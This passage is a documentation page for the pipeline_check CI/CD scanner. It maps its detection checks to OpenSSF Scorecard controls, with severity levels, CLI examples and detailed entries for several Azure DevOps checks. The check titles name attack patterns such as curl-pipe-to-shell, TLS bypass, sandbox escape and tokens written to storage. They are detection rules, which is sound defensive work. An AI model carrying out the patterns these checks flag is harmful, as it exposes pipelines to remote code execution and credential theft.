Skip to content

OpenSSF Scorecard

OpenSSF Scorecard is the open-source project health framework. Pinned-deps, branch-protection, signing, dangerous workflows. The scanner's checks evidence the workflow side; pair with the SCM posture provider for the repo-settings side that Scorecard also covers.

At a glance

  • Controls in this standard: 10
  • Controls evidenced by at least one check: 10 / 10
  • Distinct checks evidencing this standard: 282
  • Of those, autofixable with --fix: 71

How to read severity

Every check below ships at a fixed severity level. The scale is the same across providers and standards so a CRITICAL finding in one place means the same thing as a CRITICAL finding anywhere else.

Level What it means Examples
CRITICAL Active exploit primitive in the workflow as written. Treat as P0: a default scan path lands an attacker on a secret, an RCE, or production write access without further effort. Hardcoded credential literal, branch ref pointing at a known-compromised action, signed-into-an-unverified registry.
HIGH Production-impact gap that requires modest attacker effort or a second condition to weaponize. Remediate this sprint; the secondary condition is usually already present in real pipelines. Action pinned to a floating tag, sensitive permissions on a low-popularity action, mutable container tag in prod.
MEDIUM Significant defense-in-depth gap. Not directly exploitable on its own but disables a control whose absence widens the blast radius of a separate compromise. Backlog with a deadline. Missing branch protection, container without resource limits, freshly-published dependency consumed before the cooldown window.
LOW Hygiene / hardening issue. Not a vulnerability on its own but raises baseline posture and reduces audit friction. Missing CI logging retention, SBOM without supplier attribution, ECR repo without scan-on-push.
INFO Degraded-mode signal. The scanner couldn't reach an API or parse a config and surfaces the gap so the operator knows coverage was incomplete. No finding against the workload itself. CB-000 CodeBuild API access failed, IAM-000 IAM enumeration failed.

Coverage by control

Click a control ID to jump to the per-control section with the full check list. The severity mix column shows the spread of evidencing checks by severity (Critical / High / Medium / Low / Info).

Control Title Checks Severity mix
Branch-Protection Default branch is protected against force-push, deletion, and direct push without review 7 5H · 2M
Code-Review Changes merged to the default branch require review 21 5H · 15M · 1L
Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection) 76 17C · 50H · 8M · 1L
Dependency-Update-Tool Project uses an automated dependency-update tool (Dependabot / Renovate) 7 7M
Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources 69 1C · 42H · 22M · 4L
SAST Project uses static analysis / vulnerability scanning 13 1H · 12M
SBOM Releases publish a software bill of materials 15 1H · 13M · 1L
Signed-Releases Release artifacts are cryptographically signed 26 3H · 23M
Token-Permissions CI tokens are scoped to the minimum required permissions 58 21C · 21H · 16M
Vulnerabilities Project scans for and resolves known vulnerabilities 13 1H · 12M

Filter at runtime

Restrict a scan to checks that evidence this standard with --standard openssf_scorecard:

# All providers, only checks tied to this standard
pipeline_check --standard openssf_scorecard

# Compose with --pipeline to scope by provider
pipeline_check --pipeline github --standard openssf_scorecard

# Compose with another standard to widen the lens
pipeline_check --pipeline aws --standard openssf_scorecard --standard owasp_cicd_top_10

Controls in scope

Branch-Protection: Default branch is protected against force-push, deletion, and direct push without review

Evidenced by 7 checks across SCM.

Check Title Severity Provider Fix
SCM-001 Default branch has no protection rule HIGH SCM
SCM-002 Default branch protection does not require pull request reviews HIGH SCM
SCM-006 Default branch protection does not require signed commits MEDIUM SCM
SCM-007 Default branch protection allows force-pushes HIGH SCM
SCM-008 Default branch protection does not require status checks MEDIUM SCM
SCM-009 Default branch protection allows branch deletion HIGH SCM
SCM-010 Branch protection allows administrators to bypass HIGH SCM

Code-Review: Changes merged to the default branch require review

Evidenced by 21 checks across 9 providers (AWS, Azure DevOps, Bitbucket, Buildkite, CircleCI, GitHub Actions, GitLab CI, Jenkins, SCM).

Check Title Severity Provider Fix
ADO-004 Deployment job missing environment binding MEDIUM Azure DevOps
BB-004 Deploy step missing deployment: environment gate MEDIUM Bitbucket
BK-007 Deploy step not gated by a manual block / input MEDIUM Buildkite
CB-008 CodeBuild buildspec is inline (not sourced from a protected repo) HIGH AWS
CC-009 Deploy job missing manual approval gate MEDIUM CircleCI
CCM-001 CodeCommit repository has no approval rule template attached HIGH AWS
CD-002 AllAtOnce deployment config, no canary or rolling strategy HIGH AWS
CP-001 No approval action before deploy stages HIGH AWS
CP-005 Production Deploy stage has no preceding ManualApproval MEDIUM AWS
GHA-014 Deploy job missing environment binding MEDIUM GitHub Actions 🔧 fix
GL-004 Deploy job lacks manual approval or environment gate MEDIUM GitLab CI
GL-029 Manual deploy job defaults to allow_failure: true MEDIUM GitLab CI
JF-005 Deploy stage missing manual input approval MEDIUM Jenkins
JF-024 input approval step missing submitter restriction MEDIUM Jenkins
JF-026 build job: trigger ignores downstream failure MEDIUM Jenkins
SCM-002 Default branch protection does not require pull request reviews HIGH SCM
SCM-011 Default branch protection does not require CODEOWNERS reviews MEDIUM SCM
SCM-012 Default branch protection keeps stale reviews after a push MEDIUM SCM
SCM-013 Default branch protection does not require conversation resolution LOW SCM
SCM-014 Default branch protection does not require approval of the most recent push MEDIUM SCM
SCM-017 Repository has no CODEOWNERS file MEDIUM SCM

Dangerous-Workflow: No dangerous patterns in CI workflows (untrusted checkout, script injection)

Evidenced by 76 checks across 13 providers (AWS, Argo Workflows, Azure DevOps, Bitbucket, Buildkite, CircleCI, Cloud Build, Dockerfile, Drone CI, GitHub Actions, GitLab CI, Jenkins, Tekton).

Check Title Severity Provider Fix
ADO-002 Script injection via attacker-controllable context HIGH Azure DevOps
ADO-011 template: <local-path> on PR-validated pipeline HIGH Azure DevOps
ADO-012 Cache@2 key derives from $(System.PullRequest.*) MEDIUM Azure DevOps
ADO-016 Remote script piped to shell interpreter HIGH Azure DevOps 🔧 fix
ADO-019 extends: template on PR-validated pipeline points to local path CRITICAL Azure DevOps
ADO-023 TLS / certificate verification bypass HIGH Azure DevOps 🔧 fix
ADO-026 Pipeline contains indicators of malicious activity CRITICAL Azure DevOps
ADO-027 Dangerous shell idiom (eval, sh -c variable, backtick exec) HIGH Azure DevOps
ARGO-002 Argo template container runs privileged or as root HIGH Argo Workflows
ARGO-004 Argo workflow mounts hostPath or shares host namespaces CRITICAL Argo Workflows
ARGO-005 Argo input parameter interpolated unsafely in script / args CRITICAL Argo Workflows
ARGO-008 Argo script source pipes remote install or disables TLS HIGH Argo Workflows 🔧 fix
BB-002 Script injection via attacker-controllable context HIGH Bitbucket
BB-012 Remote script piped to shell interpreter HIGH Bitbucket 🔧 fix
BB-018 Cache key derives from attacker-controllable input MEDIUM Bitbucket
BB-023 TLS / certificate verification bypass HIGH Bitbucket 🔧 fix
BB-025 Pipeline contains indicators of malicious activity CRITICAL Bitbucket
BB-026 Dangerous shell idiom (eval, sh -c variable, backtick exec) HIGH Bitbucket
BK-003 Untrusted Buildkite variable interpolated in command HIGH Buildkite
BK-004 Remote script piped into shell interpreter HIGH Buildkite 🔧 fix
BK-005 Container started with --privileged or host-bind escalation HIGH Buildkite 🔧 fix
BK-015 agents map interpolates attacker-controllable Buildkite variable HIGH Buildkite
CB-010 CodeBuild webhook allows fork-PR builds without actor filtering HIGH AWS
CB-011 CodeBuild buildspec contains indicators of malicious activity CRITICAL AWS
CC-002 Script injection via untrusted environment variable HIGH CircleCI
CC-012 Dynamic config via setup: true enables code injection MEDIUM CircleCI
CC-013 Deploy job in workflow has no branch filter MEDIUM CircleCI
CC-016 Remote script piped to shell interpreter HIGH CircleCI 🔧 fix
CC-023 TLS / certificate verification bypass HIGH CircleCI 🔧 fix
CC-025 Cache key derives from attacker-controllable input MEDIUM CircleCI
CC-026 Config contains indicators of malicious activity CRITICAL CircleCI
CC-027 Dangerous shell idiom (eval, sh -c variable, backtick exec) HIGH CircleCI
CP-003 Source stage using polling instead of event-driven trigger LOW AWS
CP-007 CodePipeline v2 PR trigger accepts all branches HIGH AWS
DF-004 RUN executes a remote script via curl-pipe / wget-pipe HIGH Dockerfile
DF-005 RUN uses shell-eval (eval / sh -c on a variable / backticks) HIGH Dockerfile
DR-002 Step runs with privileged: true HIGH Drone CI
DR-003 Untrusted Drone template variable in shell command HIGH Drone CI
DR-006 TLS verification disabled in step commands HIGH Drone CI
DR-007 Step mounts a sensitive host path HIGH Drone CI
DR-009 Cache plugin key embeds an attacker-controllable Drone variable HIGH Drone CI
DR-011 node map interpolates attacker-controllable Drone variable HIGH Drone CI
GCB-004 dynamicSubstitutions on with user substitutions in step args HIGH Cloud Build
GCB-006 Dangerous shell idiom (eval, sh -c variable, backtick exec) HIGH Cloud Build
GHA-002 pull_request_target checks out PR head CRITICAL GitHub Actions 🔧 fix
GHA-003 Script injection via untrusted context HIGH GitHub Actions 🔧 fix
GHA-009 workflow_run downloads upstream artifact unverified CRITICAL GitHub Actions
GHA-010 Local action (./path) on untrusted-trigger workflow HIGH GitHub Actions
GHA-011 Cache key derives from attacker-controllable input MEDIUM GitHub Actions
GHA-013 issue_comment trigger without author guard HIGH GitHub Actions
GHA-016 Remote script piped to shell interpreter HIGH GitHub Actions 🔧 fix
GHA-023 TLS / certificate verification bypass HIGH GitHub Actions 🔧 fix
GHA-026 Container job disables isolation via options: HIGH GitHub Actions
GHA-027 Workflow contains indicators of malicious activity CRITICAL GitHub Actions
GHA-028 Dangerous shell idiom (eval, sh -c variable, backtick exec) HIGH GitHub Actions
GHA-038 Workflow re-enables retired ::set-env / ::add-path commands CRITICAL GitHub Actions
GL-002 Script injection via untrusted commit/MR context HIGH GitLab CI
GL-011 include: local file pulled in MR-triggered pipeline HIGH GitLab CI
GL-012 Cache key derives from MR-controlled CI variable MEDIUM GitLab CI
GL-016 Remote script piped to shell interpreter HIGH GitLab CI 🔧 fix
GL-023 TLS / certificate verification bypass HIGH GitLab CI 🔧 fix
GL-025 Pipeline contains indicators of malicious activity CRITICAL GitLab CI
GL-026 Dangerous shell idiom (eval, sh -c variable, backtick exec) HIGH GitLab CI
GL-033 Global before_script / after_script propagates taint to every job HIGH GitLab CI
JF-002 Script step interpolates attacker-controllable env var HIGH Jenkins
JF-012 load step pulls Groovy from disk without integrity pin MEDIUM Jenkins
JF-013 copyArtifacts ingests another job's output unverified CRITICAL Jenkins
JF-016 Remote script piped to shell interpreter HIGH Jenkins 🔧 fix
JF-019 Groovy sandbox escape pattern detected CRITICAL Jenkins
JF-023 TLS / certificate verification bypass HIGH Jenkins 🔧 fix
JF-029 Jenkinsfile contains indicators of malicious activity CRITICAL Jenkins
JF-030 Dangerous shell idiom (eval, sh -c variable, backtick exec) HIGH Jenkins
TKN-002 Tekton step runs privileged or as root HIGH Tekton
TKN-003 Tekton param interpolated unsafely in step script CRITICAL Tekton
TKN-004 Tekton Task mounts hostPath or shares host namespaces CRITICAL Tekton
TKN-008 Tekton step script pipes remote install or disables TLS HIGH Tekton 🔧 fix

Dependency-Update-Tool: Project uses an automated dependency-update tool (Dependabot / Renovate)

Evidenced by 7 checks across 7 providers (Azure DevOps, Bitbucket, CircleCI, GitHub Actions, GitLab CI, Jenkins, SCM).

Check Title Severity Provider Fix
ADO-022 Dependency update command bypasses lockfile pins MEDIUM Azure DevOps 🔧 fix
BB-022 Dependency update command bypasses lockfile pins MEDIUM Bitbucket 🔧 fix
CC-022 Dependency update command bypasses lockfile pins MEDIUM CircleCI 🔧 fix
GHA-022 Dependency update command bypasses lockfile pins MEDIUM GitHub Actions 🔧 fix
GL-022 Dependency update command bypasses lockfile pins MEDIUM GitLab CI 🔧 fix
JF-022 Dependency update command bypasses lockfile pins MEDIUM Jenkins 🔧 fix
SCM-005 Dependabot security updates are not enabled MEDIUM SCM

Pinned-Dependencies: Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources

Evidenced by 69 checks across 15 providers (AWS, Argo Workflows, Azure DevOps, Bitbucket, Buildkite, CircleCI, Cloud Build, Dockerfile, Drone CI, GitHub Actions, GitLab CI, Helm, Jenkins, OCI manifest, Tekton).

Check Title Severity Provider Fix
ADO-001 Task reference not pinned to specific version HIGH Azure DevOps 🔧 fix
ADO-005 Container image not pinned to specific version HIGH Azure DevOps
ADO-009 Container image pinned by tag rather than sha256 digest LOW Azure DevOps
ADO-018 Package install from insecure source HIGH Azure DevOps 🔧 fix
ADO-021 Package install without lockfile enforcement MEDIUM Azure DevOps 🔧 fix
ADO-025 Cross-repo template not pinned to commit SHA HIGH Azure DevOps
ADO-028 Package install bypasses registry integrity (git / path / tarball source) MEDIUM Azure DevOps
ARGO-001 Argo template container image not pinned to a digest HIGH Argo Workflows
ARGO-008 Argo script source pipes remote install or disables TLS HIGH Argo Workflows 🔧 fix
ARGO-014 Argo template script runs unpinned package install MEDIUM Argo Workflows
BB-001 pipe: action not pinned to exact version HIGH Bitbucket 🔧 fix
BB-009 pipe: pinned by version rather than sha256 digest LOW Bitbucket
BB-014 Package install from insecure source HIGH Bitbucket 🔧 fix
BB-021 Package install without lockfile enforcement MEDIUM Bitbucket 🔧 fix
BB-027 Package install bypasses registry integrity (git / path / tarball source) MEDIUM Bitbucket
BK-001 Buildkite plugin not pinned to an exact version HIGH Buildkite
BK-004 Remote script piped into shell interpreter HIGH Buildkite 🔧 fix
BK-008 TLS verification disabled in step command MEDIUM Buildkite 🔧 fix
BK-014 Step commands run unpinned package installs MEDIUM Buildkite
CA-002 CodeArtifact repository has a public external connection HIGH AWS
CB-005 Outdated managed build image MEDIUM AWS
CB-009 CodeBuild image not pinned by digest MEDIUM AWS
CC-001 Orb not pinned to exact semver HIGH CircleCI 🔧 fix
CC-003 Docker image not pinned by digest HIGH CircleCI
CC-018 Package install from insecure source HIGH CircleCI 🔧 fix
CC-021 Package install without lockfile enforcement MEDIUM CircleCI 🔧 fix
CC-028 Package install bypasses registry integrity (git / path / tarball source) MEDIUM CircleCI
CC-029 Machine executor image not pinned HIGH CircleCI
DF-001 FROM image not pinned to sha256 digest HIGH Dockerfile 🔧 fix
DF-003 ADD pulls remote URL without integrity verification HIGH Dockerfile
DF-004 RUN executes a remote script via curl-pipe / wget-pipe HIGH Dockerfile
DF-010 apt-get dist-upgrade / upgrade pulls unknown package versions LOW Dockerfile
DR-001 Step image not pinned to a digest HIGH Drone CI
DR-005 Plugin step uses a floating image tag HIGH Drone CI
DR-006 TLS verification disabled in step commands HIGH Drone CI
DR-008 Step uses pull: never (skips registry verification) MEDIUM Drone CI
DR-010 Step commands run unpinned package installs MEDIUM Drone CI
ECR-002 Image tags are mutable HIGH AWS
ECR-006 ECR pull-through cache rule uses an untrusted upstream HIGH AWS
GCB-001 Cloud Build step image not pinned by digest HIGH Cloud Build 🔧 fix
GHA-001 Action not pinned to commit SHA HIGH GitHub Actions 🔧 fix
GHA-018 Package install from insecure source HIGH GitHub Actions 🔧 fix
GHA-021 Package install without lockfile enforcement MEDIUM GitHub Actions 🔧 fix
GHA-025 Reusable workflow not pinned to commit SHA HIGH GitHub Actions
GHA-029 Package install bypasses registry integrity (git / path / tarball source) MEDIUM GitHub Actions
GHA-040 Action reference matches a known-compromised SHA or tag CRITICAL GitHub Actions
GL-001 Image not pinned to specific version or digest HIGH GitLab CI 🔧 fix
GL-005 include: pulls remote / project without pinned ref HIGH GitLab CI
GL-009 Image pinned to version tag rather than sha256 digest LOW GitLab CI
GL-018 Package install from insecure source HIGH GitLab CI 🔧 fix
GL-021 Package install without lockfile enforcement MEDIUM GitLab CI 🔧 fix
GL-027 Package install bypasses registry integrity (git / path / tarball source) MEDIUM GitLab CI
GL-028 services: image not pinned HIGH GitLab CI
GL-030 trigger: include: pulls child pipeline without pinned ref HIGH GitLab CI
HELM-001 Chart.yaml declares legacy apiVersion: v1 MEDIUM Helm 🔧 fix
HELM-002 Chart.lock missing per-dependency digests HIGH Helm 🔧 fix
HELM-003 Chart dependency declared on a non-HTTPS repository HIGH Helm 🔧 fix
HELM-004 Chart dependency version is a range, not an exact pin MEDIUM Helm
JF-001 Shared library not pinned to a tag or commit HIGH Jenkins
JF-009 Agent docker image not pinned to sha256 digest HIGH Jenkins
JF-018 Package install from insecure source HIGH Jenkins 🔧 fix
JF-021 Package install without lockfile enforcement MEDIUM Jenkins 🔧 fix
JF-031 Package install bypasses registry integrity (git / path / tarball source) MEDIUM Jenkins
OCI-004 Image layer references an arbitrary URL (foreign layer) HIGH OCI manifest
OCI-007 Image manifest uses legacy schemaVersion 1 (no content addressing) HIGH OCI manifest
OCI-008 Manifest references digest using unsupported hash algorithm HIGH OCI manifest
TKN-001 Tekton step image not pinned to a digest HIGH Tekton
TKN-008 Tekton step script pipes remote install or disables TLS HIGH Tekton 🔧 fix
TKN-014 Tekton step script runs unpinned package install MEDIUM Tekton

SAST: Project uses static analysis / vulnerability scanning

Evidenced by 13 checks across 12 providers (AWS, Argo Workflows, Azure DevOps, Bitbucket, Buildkite, CircleCI, Cloud Build, GitHub Actions, GitLab CI, Jenkins, SCM, Tekton).

Check Title Severity Provider Fix
ADO-020 No vulnerability scanning step MEDIUM Azure DevOps
ARGO-012 No vulnerability scanning step MEDIUM Argo Workflows
BB-015 No vulnerability scanning step MEDIUM Bitbucket
BK-012 No vulnerability scanning step MEDIUM Buildkite
CC-020 No vulnerability scanning step MEDIUM CircleCI
ECR-001 Image scanning on push not enabled HIGH AWS
ECR-007 Inspector v2 enhanced scanning disabled for ECR MEDIUM AWS
GCB-008 No vulnerability scanning step in Cloud Build pipeline MEDIUM Cloud Build
GHA-020 No vulnerability scanning step MEDIUM GitHub Actions
GL-019 No vulnerability scanning step MEDIUM GitLab CI
JF-020 No vulnerability scanning step MEDIUM Jenkins
SCM-003 GitHub default code scanning is not enabled MEDIUM SCM
TKN-012 No vulnerability scanning step MEDIUM Tekton

SBOM: Releases publish a software bill of materials

Evidenced by 15 checks across 11 providers (Argo Workflows, Azure DevOps, Bitbucket, Buildkite, CircleCI, Dockerfile, GitHub Actions, GitLab CI, Jenkins, OCI manifest, Tekton).

Check Title Severity Provider Fix
ADO-007 SBOM not produced MEDIUM Azure DevOps
ARGO-010 No SBOM generated for build artifacts MEDIUM Argo Workflows
ARGO-011 No SLSA provenance attestation produced MEDIUM Argo Workflows
BB-007 SBOM not produced MEDIUM Bitbucket
BK-010 No SBOM generated for build artifacts MEDIUM Buildkite
BK-011 No SLSA provenance attestation produced MEDIUM Buildkite
CC-007 SBOM not produced (no CycloneDX/syft/Trivy-SBOM step) MEDIUM CircleCI
DF-016 Image lacks OCI provenance labels LOW Dockerfile
GHA-007 SBOM not produced (no CycloneDX/syft/Trivy-SBOM step) MEDIUM GitHub Actions
GL-007 SBOM not produced MEDIUM GitLab CI
JF-007 SBOM not produced MEDIUM Jenkins
OCI-001 Image manifest is missing OCI provenance annotations MEDIUM OCI manifest
OCI-002 Image is missing a build attestation manifest HIGH OCI manifest
TKN-010 No SBOM generated for build artifacts MEDIUM Tekton
TKN-011 No SLSA provenance attestation produced MEDIUM Tekton

Signed-Releases: Release artifacts are cryptographically signed

Evidenced by 26 checks across 12 providers (AWS, Argo Workflows, Azure DevOps, Bitbucket, Buildkite, CircleCI, Cloud Build, GitHub Actions, GitLab CI, Jenkins, OCI manifest, Tekton).

Check Title Severity Provider Fix
ADO-006 Artifacts not signed MEDIUM Azure DevOps
ADO-024 No SLSA provenance attestation produced MEDIUM Azure DevOps
ARGO-009 Artifacts not signed (no cosign/sigstore step) MEDIUM Argo Workflows
ARGO-011 No SLSA provenance attestation produced MEDIUM Argo Workflows
BB-006 Artifacts not signed MEDIUM Bitbucket
BB-024 No SLSA provenance attestation produced MEDIUM Bitbucket
BK-009 Artifacts not signed (no cosign/sigstore step) MEDIUM Buildkite
BK-011 No SLSA provenance attestation produced MEDIUM Buildkite
CA-001 CodeArtifact domain not encrypted with customer KMS CMK MEDIUM AWS
CC-006 Artifacts not signed (no cosign/sigstore step) MEDIUM CircleCI
CC-024 No SLSA provenance attestation produced MEDIUM CircleCI
CP-002 Artifact store not encrypted with customer-managed KMS key MEDIUM AWS
ECR-005 Repository encrypted with AES256 rather than KMS CMK MEDIUM AWS
GCB-009 Artifacts not signed (no cosign / sigstore step) MEDIUM Cloud Build
GHA-006 Artifacts not signed (no cosign/sigstore step) MEDIUM GitHub Actions
GHA-024 No SLSA provenance attestation produced MEDIUM GitHub Actions
GL-006 Artifacts not signed MEDIUM GitLab CI
GL-024 No SLSA provenance attestation produced MEDIUM GitLab CI
JF-006 Artifacts not signed MEDIUM Jenkins
JF-028 No SLSA provenance attestation produced MEDIUM Jenkins
LMB-001 Lambda function has no code-signing config HIGH AWS
OCI-002 Image is missing a build attestation manifest HIGH OCI manifest
SIGN-001 No AWS Signer profile defined for Lambda deploys MEDIUM AWS
SIGN-002 AWS Signer profile is revoked or inactive HIGH AWS
TKN-009 Artifacts not signed (no cosign/sigstore step) MEDIUM Tekton
TKN-011 No SLSA provenance attestation produced MEDIUM Tekton

Token-Permissions: CI tokens are scoped to the minimum required permissions

Evidenced by 58 checks across 12 providers (AWS, Argo Workflows, Azure DevOps, Bitbucket, Buildkite, CircleCI, Cloud Build, Dockerfile, GitHub Actions, GitLab CI, Jenkins, Tekton).

Check Title Severity Provider Fix
ADO-003 Variables contain literal secret values CRITICAL Azure DevOps
ADO-008 Credential-shaped literal in pipeline body CRITICAL Azure DevOps 🔧 fix
ADO-014 AWS auth uses long-lived access keys MEDIUM Azure DevOps 🔧 fix
ARGO-003 Argo workflow uses the default ServiceAccount MEDIUM Argo Workflows
ARGO-006 Literal secret value in Argo template env or parameter default CRITICAL Argo Workflows 🔧 fix
BB-003 Variables contain literal secret values CRITICAL Bitbucket
BB-008 Credential-shaped literal in pipeline body CRITICAL Bitbucket 🔧 fix
BB-011 AWS auth uses long-lived access keys MEDIUM Bitbucket 🔧 fix
BB-017 Repository token written to persistent storage CRITICAL Bitbucket 🔧 fix
BB-019 after-script references secrets HIGH Bitbucket
BK-002 Literal secret value in pipeline env block CRITICAL Buildkite 🔧 fix
CA-004 CodeArtifact repo policy grants codeartifact: with Resource '' HIGH AWS
CB-001 Secrets in plaintext environment variables CRITICAL AWS
CB-006 CodeBuild source auth uses long-lived token HIGH AWS
CC-005 AWS auth uses long-lived access keys in environment block MEDIUM CircleCI 🔧 fix
CC-008 Credential-shaped literal in config body CRITICAL CircleCI 🔧 fix
CC-019 add_ssh_keys without fingerprint restriction HIGH CircleCI
CC-030 Workflow job uses context without branch filter or approval gate MEDIUM CircleCI
CCM-003 CodeCommit trigger targets SNS/Lambda in a different account MEDIUM AWS
CP-004 Legacy ThirdParty/GitHub source action (OAuth token) HIGH AWS
DF-006 ENV or ARG carries a credential-shaped literal value CRITICAL Dockerfile
DF-019 COPY/ADD source path looks like a credential file HIGH Dockerfile 🔧 fix
DF-020 ARG declares a credential-named build argument HIGH Dockerfile 🔧 fix
GCB-002 Cloud Build uses the default service account HIGH Cloud Build
GCB-003 Secret Manager value referenced in step args HIGH Cloud Build
GCB-007 availableSecrets references versions/latest MEDIUM Cloud Build 🔧 fix
GHA-004 Workflow has no explicit permissions block MEDIUM GitHub Actions 🔧 fix
GHA-005 AWS auth uses long-lived access keys MEDIUM GitHub Actions 🔧 fix
GHA-008 Credential-shaped literal in workflow body CRITICAL GitHub Actions 🔧 fix
GHA-019 GITHUB_TOKEN written to persistent storage CRITICAL GitHub Actions 🔧 fix
GHA-037 actions/checkout persists GITHUB_TOKEN into .git/config HIGH GitHub Actions
GHA-039 services / container credentials embedded as literal in workflow CRITICAL GitHub Actions
GL-003 Variables contain literal secret values CRITICAL GitLab CI
GL-008 Credential-shaped literal in pipeline body CRITICAL GitLab CI 🔧 fix
GL-013 AWS auth uses long-lived access keys MEDIUM GitLab CI 🔧 fix
GL-020 CI_JOB_TOKEN written to persistent storage CRITICAL GitLab CI 🔧 fix
IAM-001 CI/CD role has AdministratorAccess policy attached CRITICAL AWS
IAM-002 CI/CD role has wildcard Action in attached policy HIGH AWS
IAM-003 CI/CD role has no permission boundary MEDIUM AWS
IAM-004 CI/CD role can PassRole to any role HIGH AWS
IAM-005 CI/CD role trust policy missing sts:ExternalId HIGH AWS
IAM-006 Sensitive actions granted with wildcard Resource MEDIUM AWS
IAM-007 IAM user has access key older than 90 days HIGH AWS
IAM-008 OIDC-federated role trust policy missing audience or subject pin HIGH AWS
JF-004 AWS auth uses long-lived access keys via withCredentials MEDIUM Jenkins 🔧 fix
JF-008 Credential-shaped literal in pipeline body CRITICAL Jenkins 🔧 fix
JF-010 Long-lived AWS keys exposed via environment {} block HIGH Jenkins 🔧 fix
KMS-001 KMS customer-managed key has rotation disabled MEDIUM AWS
KMS-002 KMS key policy grants wildcard KMS actions HIGH AWS
LMB-002 Lambda function URL has AuthType=NONE HIGH AWS
LMB-003 Lambda function env vars may contain plaintext secrets HIGH AWS
LMB-004 Lambda resource policy allows wildcard principal CRITICAL AWS
SM-001 Secrets Manager secret has no rotation configured HIGH AWS
SM-002 Secrets Manager resource policy allows wildcard principal CRITICAL AWS
SSM-001 SSM Parameter with secret-like name is not a SecureString HIGH AWS
SSM-002 SSM SecureString uses the default AWS-managed key MEDIUM AWS
TKN-005 Literal secret value in Tekton step env or param default CRITICAL Tekton 🔧 fix
TKN-007 Tekton run uses the default ServiceAccount MEDIUM Tekton

Vulnerabilities: Project scans for and resolves known vulnerabilities

Evidenced by 13 checks across 12 providers (AWS, Argo Workflows, Azure DevOps, Bitbucket, Buildkite, CircleCI, Cloud Build, GitHub Actions, GitLab CI, Jenkins, SCM, Tekton).

Check Title Severity Provider Fix
ADO-020 No vulnerability scanning step MEDIUM Azure DevOps
ARGO-012 No vulnerability scanning step MEDIUM Argo Workflows
BB-015 No vulnerability scanning step MEDIUM Bitbucket
BK-012 No vulnerability scanning step MEDIUM Buildkite
CC-020 No vulnerability scanning step MEDIUM CircleCI
ECR-001 Image scanning on push not enabled HIGH AWS
ECR-007 Inspector v2 enhanced scanning disabled for ECR MEDIUM AWS
GCB-008 No vulnerability scanning step in Cloud Build pipeline MEDIUM Cloud Build
GHA-020 No vulnerability scanning step MEDIUM GitHub Actions
GL-019 No vulnerability scanning step MEDIUM GitLab CI
JF-020 No vulnerability scanning step MEDIUM Jenkins
SCM-005 Dependabot security updates are not enabled MEDIUM SCM
TKN-012 No vulnerability scanning step MEDIUM Tekton

Check details

Every check that evidences this standard, rendered once with its detection mechanism, recommendation, and any known false-positive modes or real-world incident references. The per-control tables above link to the matching block here.

ADO-001: Task reference not pinned to specific version HIGH 🔧 fix

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Floating-major task references (@1, @2) can roll forward silently when the task publisher ships a breaking or malicious update. Pass when every task: reference carries a two- or three-segment semver.

Recommendation. Reference tasks by a full semver (DownloadSecureFile@1.2.3) or extension-published-version. Track task updates explicitly via Azure DevOps extension settings rather than letting @1 drift.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: ADO-001 in the Azure DevOps provider.

ADO-002: Script injection via attacker-controllable context HIGH

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. $(Build.SourceBranch*), $(Build.SourceVersionMessage), and $(System.PullRequest.*) are populated from SCM event metadata the attacker controls. Inline interpolation into a script body executes crafted content.

Recommendation. Pass these values through an intermediate pipeline variable declared with readonly: true, and reference that variable through an environment variable rather than $(...) macro interpolation. ADO expands $(…) before shell quoting, so inline use is never safe.

Source: ADO-002 in the Azure DevOps provider.

ADO-003: Variables contain literal secret values CRITICAL

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. Scans variables: in both the mapping form ({KEY: VAL}) and the list form ([{name: X, value: Y}]) that ADO supports. AWS keys are detected by value shape regardless of variable name.

Recommendation. Store secrets in an Azure Key Vault or a Library variable group with the secret flag set; reference them via $(SECRET_NAME) at runtime. For cloud access prefer Azure workload identity federation.

Source: ADO-003 in the Azure DevOps provider.

ADO-004: Deployment job missing environment binding MEDIUM

Evidences: Code-Review Changes merged to the default branch require review.

How this is detected. Without an environment: binding, ADO cannot enforce approvals, checks, or deployment history against a named resource. Every deployment: job should bind one.

Recommendation. Add environment: <name> to every deployment: job. Configure approvals, required branches, and business-hours checks on the matching Environment in the ADO UI.

Source: ADO-004 in the Azure DevOps provider.

ADO-005: Container image not pinned to specific version HIGH

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Container images can be declared at resources.containers[].image or job.container (string or {image:}). Floating / untagged refs let the publisher swap the image contents.

Recommendation. Reference images by @sha256:<digest> or at minimum a full immutable version tag. Avoid :latest and untagged refs.

Source: ADO-005 in the Azure DevOps provider.

ADO-006: Artifacts not signed MEDIUM

Evidences: Signed-Releases Release artifacts are cryptographically signed.

How this is detected. Passes when cosign / sigstore / slsa-* / notation-sign appears anywhere in the pipeline text.

Recommendation. Add a task that runs cosign sign or notation sign, Azure Pipelines' workload identity federation enables keyless signing. Publish the signature to the artifact feed and verify it at deploy time.

Source: ADO-006 in the Azure DevOps provider.

ADO-007: SBOM not produced MEDIUM

Evidences: SBOM Releases publish a software bill of materials.

How this is detected. Without an SBOM, downstream consumers can't audit the dependency set shipped in the artifact.

Recommendation. Add an SBOM step, microsoft/sbom-tool, syft . -o cyclonedx-json, or anchore/sbom-action. Publish the SBOM as a pipeline artifact so downstream consumers can ingest it.

Source: ADO-007 in the Azure DevOps provider.

ADO-008: Credential-shaped literal in pipeline body CRITICAL 🔧 fix

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. Complements ADO-003 (which looks at variables: keys). ADO-008 scans every string in the pipeline against the cross-provider credential-pattern catalog.

Recommendation. Rotate the exposed credential. Move the value to Azure Key Vault or a secret variable group and reference it via $(SECRET_NAME).

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Known false positives.

